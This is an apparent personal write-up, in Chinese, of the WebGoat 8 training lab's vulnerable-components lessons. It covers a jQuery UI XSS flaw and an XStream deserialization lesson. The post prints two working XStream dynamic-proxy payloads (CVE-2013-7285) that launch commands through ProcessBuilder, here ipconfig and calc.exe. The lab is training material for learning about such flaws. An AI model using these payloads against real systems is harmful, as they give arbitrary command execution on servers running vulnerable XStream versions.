webgoat 8 通关A9:vulnerable components
最近在做webgoat8 的通关,记录一下感觉比较有意思(花时间最长)的一关一、lesson 5
这个没什么好说的,xxs攻击里,告诉我们有的组件可以被黑客简单的攻击,有的组件却不可以。
jquery-ui:1.10.4这个版本的组件有xxs漏洞,点击按钮,可以看到有弹框。
jquery-ui:1.12.0这个版本的组件没有这个漏洞,点击按钮不会出现弹框。
二、lesson 12
1.破解的辛酸史
一开始都没有看懂这个题目的具体要求,于是打开了百度,直接搜。看到网上的payload大概明白了要干什么。写一个payload当Contact里面任何一个方法就会执行payload。网上白嫖的一个payload,当时就很疑惑为什么是在java.lang.Comparable下面。
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>ipconfig</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
没想这么多,先提交进去试一试,错了。。一直说我的payload无法反序列化。。。
然后傻傻的我就一头钻进解决这个不能反序列化的牛角尖里。花费了一整天的时间,毫无进展。第二天我打开源码看了看,并没有什么特别的啊。但是看到了一个网址https://x-stream.github.io/CVE-2013-7285.html
于是就点进去看看。
2.终于找到出路
点进去这个页面,敏锐的我一眼看到了
<contact class='dynamic-proxy'>
<interface>org.company.model.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
贴到webgoat里面,还是报错仔细一看接口的包名没写对,替换成webgoat要求的包名。
点击提,弹出计算机的窗口,成功破解。
目前整个的通关已经写完,有时间还会写其他部分的通关攻略。